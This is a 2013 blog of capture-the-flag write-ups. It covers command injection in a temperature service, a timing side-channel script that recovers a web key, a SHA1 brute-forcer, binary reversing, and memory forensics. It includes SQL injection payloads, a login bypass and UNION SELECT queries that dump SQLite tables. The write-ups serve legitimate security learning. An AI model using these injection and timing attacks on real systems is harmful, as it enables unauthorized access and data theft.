Tuesday, December 10, 2013

iCTF 2013 Fall - Temperature

This was the first problem we tackled at the start of the competition. Talking to the server, we were given two options: Look up a temperature or add a temperature recording. After messing with the inputs for a little, we decided to take a look at the code.

We received the source code in a .deb package, which we unpacked using 7zip. Looking through the files we discovered a Python file named, of course, "temperature". We then began to look through the code and found a series of replace commands.
def build_command():
   fn = "satan"
   fn = fn.replace("s","r")
   fn = fn.replace("a","e")
   fn = fn.replace("t","v")
   fn = fn.replace("s","r")
   fn = fn.replace("n","n")
   fn = fn[::-1]
   fn += '\x67'
   fn += '\x75'
   fn += '\x65'
   fn += '\x73'
   fn += '\x73'
   cn = "dog"
   cn = cn.replace("d","c")
   cn = cn.replace("g","t")
   cn = cn.replace("o","a")
   cn2 = "\x67\x72\x65\x70"
   cn3 = "\x61\x77\x6B"
   command = " ".join((cn,fn,"|",cn2,"%s","|",cn2,"%s","|",cn3,"'{print $3}'"))
   return command


Which we quickly realized allows anything to be put into the command. We decided to see what could be found by sending "no" to the inputs for the lookup command
By sending "no" to both inputs, we were able to get a list of flags, indicated by "FLG" at the beginning of each flag." restricted the output to just the third column,  Our final script is below:
def get_awesomeness(s, flag_id):
    s.recv(1024)
    s.send("10")
    s.recv(1024)
    s.send("no")
    s.recv(1024)
    s.send(flag_id)
    flag = s.recv(1024).strip()
    return flag

Monday, December 9, 2013

iCTF 2013 Fall - TattleTale

This problem proved to be quite an interesting optimization problem. To solve this challenge, you needed to open three network connection to the service running on port 13007, and have each of the clients connect to the same room. If you '/msg' E.Snowden, he asked for you and your coworkers to get the highest amount of secret points that could be exfiltrated from the network. Sending documents to him cost bandwidth, but you could send them to your coworkers without affecting your bandwidth. Some sample text is:

list -- | FoxAcid.ppt 2612KB 34
list -- | FoxAcid.docx 809KB 23
list -- | FoxAcid.doc 2988KB 68
list -- | BULLRUN.ppt 255KB 76
list -- | BULLRUN.docx 546KB 40
list -- | BULLRUN.doc 524KB 29
list -- | LOVEINT.ppt 699KB 45
list -- | LOVEINT.docx 1545KB 59
list -- | LOVEINT.doc 2146KB 39
list -- | QuantumCookie.ppt 2079KB 66
list -- | QuantumCookie.docx 896KB 88
list -- | QuantumCookie.doc 604KB 55
list -- | G20.ppt 203KB 97
list -- | G20.docx 1691KB 21
list -- | G20.doc 1758KB 39

In order to accomplish this task, the first thing was getting each of the agents to list their documents and keep track of who had what. Agents One and Two would send each document they had to agent Zero. Agent Zero then sent documents in the order of the ratio of privacy value gained vs. the size of the file. After sending as many files as agent Zero was capable, he transferred the rest to agent One. Agent One followed suit before passing the rest to agent Two. The algorithm was too slow at first, so most of the recv's were cut out and pexpect was used to gain the final answer from E.Snowden. The 140 lines of code that solved the challenge are as follows (exploit call being at the bottom).
from __future__ import division
import socket
from time import sleep
from operator import itemgetter
import pexpect, fdpexpect
class Exploit():
def result(self):
return {'FLAG' : self.flag }
def groupRecv(self, s1, s2, s3):
sleep(.1)
s1.recv(4096)
sleep(.1)
s2.recv(4096)
sleep(.1)
s3.recv(4096)
def groupSend(self, s1, s2, s3, command):
sleep(.05)
s1.sendall(command + "\n")
sleep(.05)
s2.sendall(command + "\n")
sleep(.05)
s3.sendall(command + "\n")
def gatherData(self, s1, s2, s3, data, bandwidth):
soList = [s1, s2, s3]
for socket in xrange(len(soList)):
sleep(.1)
block = soList[socket].recv(4096)
block = block.split("\n")
for line in xrange(len(block)):
block[line] =block[line].split()
agentData = []
for line in xrange(len(block)-1):
if(line == 0):
bandwidth.append(block[0][5])
if(line > 1):
agentData.append(int(socket))
agentData.append(block[line][3])
agentData.append(block[line][4].rstrip("KB"))
agentData.append(int(block[line][5])/int(block[line][4].rstrip("KB")))
agentData.append(block[line][5])
if(agentData != []):
data.append(agentData)
agentData = []
def transferToZero(self, s0, s1, s2, data):
for item in data:
sleep(.06)
if(item[0]==1):
s1.sendall("/send Agent0 " + item[1]+"\n")
if(item[0]==2):
s2.sendall("/send Agent0 " + item[1]+"\n")
def transferToOne(self, s0, s1, s2, data):
for item in data:
sleep(.06)
s0.sendall("/send Agent1 " + item[1]+"\n")
def transferToTwo(self, s0, s1, s2, data):
for item in data:
sleep(.06)
s1.sendall("/send Agent2 " + item[1]+"\n")
def sendSnowden(self, s, data, bandwidth):
rem = []
for item,index in zip(data, xrange(len(data))):
if(int(item[2])<int(bandwidth)):
sleep(.04)
s.sendall("/send E.Snowden " + item[1] + "\n")
bandwidth = int(bandwidth) - int(item[2])
rem.append(item)
else:
pass
for each in rem:
data.remove(each)
sleep(.01)
return data
def runThis(self, ip, port, flag_id):
data = []
bandwidth = []
print '[+] Connecting Sockets'
s1 = socket.socket()
s1.connect((ip, port))
s2 = socket.socket()
s2.connect((ip, port))
s3 = socket.socket()
s3.connect((ip, port))
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "1")
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, flag_id)
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "/msg E.Snowden hello")
self.groupRecv(s1, s2, s3)
self.groupSend(s1, s2, s3, "/list")
self.gatherData(s1, s2, s3, data, bandwidth)
print '[+] Sorting data'
data.sort(key=itemgetter(3), reverse=True)
print '[+] Transferring to 1'
self.transferToZero(s1, s2, s3, data)
print '[+] Transferring to Snowden from 1'
data = self.sendSnowden(s1, data, bandwidth[0])
print '[+] Transferring to 2'
self.transferToOne(s1, s2, s3, data)
print '[+] Transferring to Snowden from 2'
data = self.sendSnowden(s2, data, bandwidth[1])
print '[+] Transferring to 3'
self.transferToTwo(s1, s2, s3, data)
print '[+] Transferring to Snowden from 3'
data = self.sendSnowden(s3, data, bandwidth[2])
self.groupSend(s1, s2, s3, "/msg E.Snowden done")
p3 = fdpexpect.fdspawn(s3)
p3.expect("FLAG: ")
p3.expect("\n")
output = p3.before.strip()
print output
return output

def execute(self, ip, port, flag_id):
self.flag = self.runThis(ip, port, flag_id)

If you have any questions or comments, please let me know!

--Imp3rial

Thursday, October 24, 2013

Hack.lu CTF 2013: Pay TV 200

We were given the challenge "Pay TV" - in the web hacking category. There was no clear objective here, although I knew we were looking for some type of "flag".


After an initial look at the webpage above, I noticed a newspaper on the table with the words "Side Channel Attacks". Researching this, there are many different side channel attacks that usually involve information leaking on the structures of code or crypto-systems (this will become important later). I also found some script that the programmer left in a comment inside a javascript file for the page called "key.js" (seen below).


Knowing this information I then explored the webpage...entering a string into the black box resulted in the following:


So we can see that if we had the right key, it would probably return the flag. On the back-end using Burpsuite, the response from my input looked like this:
{"response": "Wrong key.", "success": false}
Fortunately from key.js I know there is also a "debug" parameter that at some point was sent in the POST request to the /gimmetv page by the developer to debug the webpage.

Sending a POST request that includes a 'debug' parameter produces some interesting results. The POST request looks like this:
'POST /gimmetv HTTP/1.1
Host: ctf.fluxfingers.net:1316
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://ctf.fluxfingers.net:1316/
Content-Length: 26
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

key=key%3Da%26debug%3Dtrue'
...and returns a response of:
{"start": 1382474251.083596, "end": 1382474251.083652, "response": "Wrong key.", "success": false}
From this we see that the server is now returning UNIX system times...we can infer this to mean the time the server received the POST request to the time it finished the request. So if you send the server a bunch of letters one at a time, the end - start time should be larger for letters that the server actually processed if they are in the string.

I quickly built the following python script to manage this POST request for me and check different alphnumeric inputs under the assumption that the string was capitalized:
import urllib, urllib2, json, string
def main():
    letterlist = string.ascii_uppercase + '0123456789'
    for letter in letterlist:
        url = 'https://ctf.fluxfingers.net:1316/gimmetv'
        values = {'key' : 'REPLACEME' + letter, 'debug' : ''}
        data = urllib.urlencode(values)
        req = urllib2.Request(url, data)
        response = urllib2.urlopen(req)
        response = json.loads(response.read())
        print 'REPLACEME' + letter + ": " + str(response['end'] - response['start'])
if __name__ == "__main__":
    main()
For REPLACEME, I started with an empty string. The first run returned these results:
A: 0.100333929062
B: 7.20024108887e-05
C: 6.29425048828e-05
D: 3.50475311279e-05
E: 4.10079956055e-05
F: 3.40938568115e-05
G: 3.48091125488e-05
H: 5.60283660889e-05
I: 4.48226928711e-05
J: 3.38554382324e-05
K: 3.2901763916e-05
L: 5.00679016113e-05
M: 4.79221343994e-05
N: 5.41210174561e-05
O: 4.50611114502e-05
P: 6.89029693604e-05
Q: 5.22136688232e-05
R: 0.000123023986816
S: 0.000349998474121
T: 0.000112056732178
U: 0.000273942947388
V: 5.19752502441e-05
W: 3.48091125488e-05
X: 5.69820404053e-05
Y: 4.91142272949e-05
Z: 3.60012054443e-05
0: 5.29289245605e-05
1: 5.10215759277e-05
2: 8.51154327393e-05
3: 6.00814819336e-05
4: 7.20024108887e-05
5: 5.48362731934e-05
6: 3.48091125488e-05
7: 5.50746917725e-05
8: 3.31401824951e-05
9: 0.000118017196655
The 'A' character took the longest to process, and so I added it to the REPLACEME string. Similarly, running the program again generated the next character in the string and I added it to the REPLACEME string. When the times no longer differed, I knew the string was finished.

The final result of running my program was the string "AXMNP93", entering this in the webpage returned the flag! "OH_THAT_ARTWORK!" ~ Hawkeye



Hack.lu CTF 2013 : FluxArchiv[Part1] 400

So we have this program that creates an encrypted archive. We also have an archive that we are supposed to get the password for. Analysis of the program shows that, in order to check a password, it takes the sha1 hash of the password, scrambles it, hashes it again, and compares it to a location stored in the archive (beginning at 12 bytes in). We found the value stored in memory, and brute forced the entire thing using the following Ada program.


with Gnat.Sha1;
with Ada.Text_IO;
use Ada.Text_Io;
procedure Win3 is
   C      : GNAT.SHA1.Context;
   Result : String (1 .. 40);
   Input  : String (1 .. 20);
   Target : String            := "372942df2712824505d8171f4f0bcb14153d39ba";
   Try    : String            := "ZYXWVUTSRQPABCDEFGHIJKLMNO0123456789";
   Index  : Integer;
begin
   for I in Try'range loop
      for J in Try'range loop
         Put_Line(Try(I)&Try(J));
         for K in Try'range loop
            for L in Try'range loop
               for M in Try'range loop
                  for N in Try'range loop
                     C := Gnat.Sha1.Initial_Context;
                     Gnat.Sha1.Update(C,Try(I)&Try(J)&Try(K)&Try(L)&Try(M)&
                        Try(N));
                     Result := Gnat.Sha1.Digest(C);
                     -- FIRST HASH DONE, NOW SCRAMBLE
                     for Count in 0..19 loop
                        Index := Count*7 mod 20;
                        Input(Count+1) := Character'Val(Integer'Value(
                              "16#"&Result(Index*2+1)&Result(Index*2+2)&
                              "#"));
                     end loop;
                     C := Gnat.Sha1.Initial_Context;
                     Gnat.Sha1.Update(C,Input);
                     Result := Gnat.Sha1.Digest(C);
                     if Result=Target then
                        Put_Line(Try(I)&Try(J)&Try(K)&Try(L)&Try(M)&Try(N));
                        Skip_Line;
                     end if;
                  end loop;
               end loop;
            end loop;
         end loop;
      end loop;
   end loop;

end Win3;
key{PWF41L} Write up by albntomat0

Hack.lu CTF 2013 : RoboAuth 150

This program is a simple binary that that verifies two strings that the user provides.  The first string can be found by looking at the memory address at the first compare statement at 0x00401B6C.
.text:00401B54                 call    scanf
.text:00401B59                 lea     eax, [ebp+var_143]
.text:00401B5F                 mov     [esp+164h+var_160], eax
.text:00401B63                 lea     eax, [ebp+var_157]
.text:00401B69                 mov     [esp+164h+var_164], eax
.text:00401B6C                 call    strcmp
.text:00401B71                 test    eax, eax
.text:00401B73                 jnz     short loc_401B8D
.text:00401B75                 mov     [esp+164h+var_164], offset aYouPassedLevel ; "You passed level1!"

Later in the program, it calls an int 3.  The int 3 forces the program to jump to the exception handler that had been set up.  Inside the exception handler, the program takes another set of user input for the second string.  The exception handler calls a decrypt routine.

.text:004015B2                 call    scanf
.text:004015B7                 mov     eax, ds:dword_40AD98
.text:004015BC                 mov     [esp+38h+var_34], eax
.text:004015C0                 lea     eax, [ebp+var_20]
.text:004015C3                 mov     [esp+38h+var_38], eax
.text:004015C6                 call    decryptCompare
.text:004015CB                 test    eax, eax

Inside the decrypt routine, each byte of a stored string is xor'ed by 0x02 then compared.  Settting a breakpoint at the "cmp dl, al" after the xor allows each byte to be extracted.

.text:00401558                 xor     eax, 2
.text:0040155B                 cmp     dl, al
The key, in the format string1_string2, was r0b0RUlez!_w3lld0ne

--Imp3rial

Hack.lu CTF 2013: Robots Exclusion Commitee 150

Navigating to the web page given, we encountered a web page with a form at the bottom asking for a variety of information. After a bit of experimentation, we determined that this form was completely useless and moved on to other possibilities.
Next, using the name as a hint, we decided to check robots.txt and were delighted to see that there was a page forbidden to robots called vault. Naturally we immediately navigated to this page to see what it contained. The page responded with an htaccess form asking for a username and password.

We then began experimenting with this login form. Since it was an input into a form, we figured "why not try SQL injection?" So the first thing we entered was    
' OR '1' = '1'; -- 
which surprisingly logged us in as admin.

The new issue was finding secret #1.  On the vault page, while logged in as admin, we were able to see secret #2, but as the challenge stated, they needed "the first of the blurriest secrets" and that was clearly the second.
Secret #2: 


One red herring we followed for a while was the alt text of secret #2 being 'Supporter Password'.  This led to us attempting to log in to the Supporter user and trying to find a supporter login page.  After a while of bashing at that we moved on.

So we began experimenting more with SQL injection messing with the form.  After brief experimentation we discovered we could log in as other users as well, but that was another dead end.

We then decided to try jumping tables in the database.  At first we tried looking in informationschema we soon learned that this was not a mySQL database.  After a little experimentation with different database structures, we were able to determine it was a SQLITE  database.  In order to find the table name we  input
' UNION SELECT name FROM SQLITE_MASTER WHERE type = 'table'; --
which logged us in as "hiddensecrets."  Lucky us, we had a table name.

Next we needed column names, so we went back to the login and  input
' UNION SELECT sql FROM SQLITE_MASTER WHERE name = 'hiddensecrets'; -- 
Which logged us in once again, this time as
CREATE TABLE hiddensecrets (id INTEGER PRIMARY KEY AUTOINCREMENT, val TEXT).
Having column names our next move was to input
' UNION SELECT val FROM hiddensecrets; -- 
Logged in, we were greeted with the following username:

Hello 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

Which turns out to be a base64 encoded png file with the key eat_all_robots.




#winning

shdwstrk

Wednesday, October 9, 2013

ASIS CTF mem_dump

Notes:

  • Make sure you are running a 64-bit Ubuntu 12.04 system with a 3.5.0-23-generic kernel. You will understand why later.
  • This machine should also have Volatility 2.3 installed.
  • A helpful tool is Sleuthkit: sudo apt-get install sleuthkit


To start, use Sleuthkit's srch_strings on the memory dump and save it to a txt file to save time for future greps. (You should also print the locations of each string in decimal)
$ srch_strings -t d mem.dump > asis_md_grepboot.txt

Next, you want to find what image this memory dump is for. I saved this to a file so I could reference it in the future if need be.
$ grep BOOT_ asis_memdump_srchstr.txt > asis_md_grepboot.txt

$ cat asis_md_grepboot.txt
  30873265 BOOT_IMAGE=/vmlinuz-3.5.0-23-generic
  31515756 Command line: BOOT_IMAGE=/vmlinuz-3.5.0-23-generic root=/dev/mapper/ubuntu--server-root ro
  31520980 Kernel command line: BOOT_IMAGE=/vmlinuz-3.5.0-23-generic root=/dev/mapper/ubuntu--server-root ro
 106342232 NT_STATUS_BAD_MASTER_BOOT_RECORD
 129758942 NT_STATUS_BOOT_ALREADY_ACCEPTED = 0x00000434,
 157849128 NT_STATUS_BAD_MASTER_BOOT_RECORD = 0xc00000a9,
 173586344 NT_STATUS_BOOT_ALREADY_ACCEPTED
 268365920 BOOT_IMAGE=/vmlinuz-3.5.0-23-generic
 268366048 BOOT_IMAGE=/vmlinuz-3.5.0-23-generic root=/dev/mapper/ubuntu--server-root ro
“BOOT_IMAGE=/vmlinuz-3.5.0-23-generic

This lets you know you need to set up a profile for a linux kernal 3.5.0-23-generic

You will have to create a profile manually by using the steps on this page.

Remember you need make the profile on an 64-bit Ubuntu 12.04 system with a 3.5.0-23-generic kernel. Do not try and use the Ubuntu profile provided by volatility, because it is an older version. If it were up to date, you would just place this zip in: Volatility/volatility/plugins/overlays/linux/


A good route to take now is to look at whats sitting in the command history. To do this, you have to locate the /bin/bash offset used by your computer. This site walks you through this quite nicely.

If you do not want to read the article here are the commands:
$ gdb /bin/bash 
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
...
...

(gdb) disassemble history_list
Dump of assembler code for function history_list:
   0x00000000004a53f0 <+0>: mov    0x2490c9(%rip),%rax        # 0x6ee4c0
   0x00000000004a53f7 <+7>: retq   
End of assembler dump.
In the output, the hex offset of the history_list is given as a comment (0x6ee4c0)


With this found offset, you can now view the memory dump's command history
$ vol.py -f mem.dump --profile=LinuxUbuntu1204x64 linux_bash -H 0x6ee4c0

Pid   Name     Command Time                   Command
----- -------- ------------------------------ -------
...
967   bash     2013-08-26 11:27:53 UTC+0000   uname -a
967   bash     2013-08-26 11:27:53 UTC+0000   wget 172.16.133.149:8090/asis-ctf -O /tmp/
967   bash     2013-08-26 11:27:53 UTC+0000   wget 172.16.133.149:8090/asis-ctf
967   bash     2013-08-26 11:27:53 UTC+0000   ls
967   bash     2013-08-26 11:27:53 UTC+0000   du -h asis-ctf 
967   bash     2013-08-26 11:27:53 UTC+0000   chmod +x asis-ctf 
967   bash     2013-08-26 11:27:53 UTC+0000   ./asis-ctf 
967   bash     2013-08-26 11:27:53 UTC+0000   sudo poweroff 
967   bash     2013-08-26 11:27:54 UTC+0000   ls
967   bash     2013-08-26 11:30:37 UTC+0000   ./asis-ctf 
967   bash     2013-08-26 12:00:04 UTC+0000   sudo apt-get install lynx
967   bash     2013-08-26 12:00:27 UTC+0000   lynx 
967   bash     2013-08-26 12:10:44 UTC+0000   sudo apt-get install elinks
967   bash     2013-08-26 12:10:57 UTC+0000   elinks 
967   bash     2013-08-26 12:14:58 UTC+0000   clear
967   bash     2013-08-26 12:15:00 UTC+0000   ls
967   bash     2013-08-26 12:15:28 UTC+0000   cp asis-ctf flag1
967   bash     2013-08-26 12:15:32 UTC+0000   ls -l
967   bash     2013-08-26 12:15:42 UTC+0000   md5sum flag1
...
Looks like an “asis-ctf” program was executed. Is it still running?
$ vol.py -f mem.dump --profile=LinuxUbuntu1204x64 linux_pstree 

Name          Pid      Uid       
------------  -------  ----
...       
.cron         819      0 
.atd          820      0 
.login        837      0 
..bash        967      1000
...asis-ctf   9425     1000
...nano       15584    1000
.apache2      16346    0 
..apache2     16349    33
..apache2     16350    33
..apache2     16351    33
...

It is! So lets look at this process' memory

$ vol.py -f mem.dump --profile=LinuxUbuntu1204x64 linux_proc_maps -p 9425

Pid  Start              End                Flg Pgoff ... Inode  File Path
---- ------------------ ------------------ --- ----- --- ----   -----------------
9425 0x0000000000400000 0x0000000000401000 r-x 0x0       393333 /home/netadmin/asis-ctf
9425 0x0000000000600000 0x0000000000601000 r-- 0x0       393333 /home/netadmin/asis-ctf
9425 0x0000000000601000 0x0000000000602000 rw- 0x1000    393333 /home/netadmin/asis-ctf
---

The rest is unnecessary because they are just shared libraries and stacks involved. Let's look at the first 10 bytes of these files to figure out their file headers contain.

$ hexdump -C -n 10 task.9425.0x400000.vma
00000000  00 00 00 00 00 00 00 00  00 00                    |..........|
$ hexdump -C -n 10 task.9425.0x600000.vma
00000000  7f 45 4c 46 02 01 01 00  00 00                    |.ELF......|

An Elf File! The next file (601000) has a program offset of 1000, so we know that this was a part of that executable. We will want to cat the two files together to make the executable.

$ cat task.9425.0x600000.vma task.9425.0x601000.vma > asis-ctf

Just to double check the file to see if it's an executable, we can run file on it.

$ file asis-ctf
asis-ctf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), stripped

Check.

Time to load it into IDA and do some reversing on it.
Below was the section of code that was found to be adding an pseudo encrypted version of the key.
LOAD:0000000000400683                 mov     byte ptr [rbp+var_A0], 42h
LOAD:000000000040068A                 mov     byte ptr [rbp+var_A0+1], 49h
LOAD:0000000000400691                 mov     byte ptr [rbp+var_A0+2], 55h
LOAD:0000000000400698                 mov     byte ptr [rbp+var_A0+3], 52h
LOAD:000000000040069F                 mov     byte ptr [rbp+var_A0+4], 4Ch
LOAD:00000000004006A6                 mov     byte ptr [rbp+var_A0+5], 41h
LOAD:00000000004006AD                 mov     byte ptr [rbp+var_A0+6], 57h
LOAD:00000000004006B4                 mov     byte ptr [rbp+var_A0+7], 4Eh
LOAD:00000000004006BB                 mov     [rbp+var_98], 64h
LOAD:00000000004006C2                 mov     [rbp+var_97], 5Fh
LOAD:00000000004006C9                 mov     [rbp+var_96], 69h
LOAD:00000000004006D0                 mov     [rbp+var_95], 37h
...
And this was the section found to be doing the decoding and printing.
LOAD:0000000000400867 loc_400867:                             ; CODE XREF: sub_400644+25B j
LOAD:0000000000400867                 mov     eax, [rbp+var_A4]
LOAD:000000000040086D                 add     eax, eax
LOAD:000000000040086F                 cdqe
LOAD:0000000000400871                 movzx   eax, byte ptr [rbp+rax+var_A0]
LOAD:0000000000400879                 movsx   eax, al
LOAD:000000000040087C                 sub     eax, [rbp+var_A4]
LOAD:0000000000400882                 sub     eax, 1
LOAD:0000000000400885                 mov     edi, eax
LOAD:0000000000400887                 call    sub_400500
LOAD:000000000040088C                 add     [rbp+var_A4], 1
LOAD:0000000000400893
Since the executable was not runnable, we had to create a python code that would take these inputs, convert them to decimal and do the decoding method.
hex_input = "42 49 55 52 4c 41 57 4e 64 5f 69 37 69 31 3e 63 6b 65 6c 33 3b 34 3d 65 3f 65 6f 63 47 31 75 36 72 66 42 62 4a 65 75 39 49 66 48 34 4d 32 4a 34 4e 37 4e 32 4d 35 55 65 50 37 82 32 84 61 52 35 83 39 85 61 53 34 89 39 8b 64 26"
dec_input = []
for h in hex_input.split(" "): #using space as a delimeter
    dec_input.append(int('0x' + h, 16)) #add a 0x to each hex input and decode it to an int

flag = ""
for i in range(0, 37):
    flag += chr(dec_input[2 * i] - i - 1) #from print method in recovered executable.
print flag

>>>ASIS_cb6bb012a8ea07a426254293de2bc0ef

Victory!

-hackarali

Friday, September 27, 2013

CSAW CTF Quals: Recon All

Jordan Wiens (100):


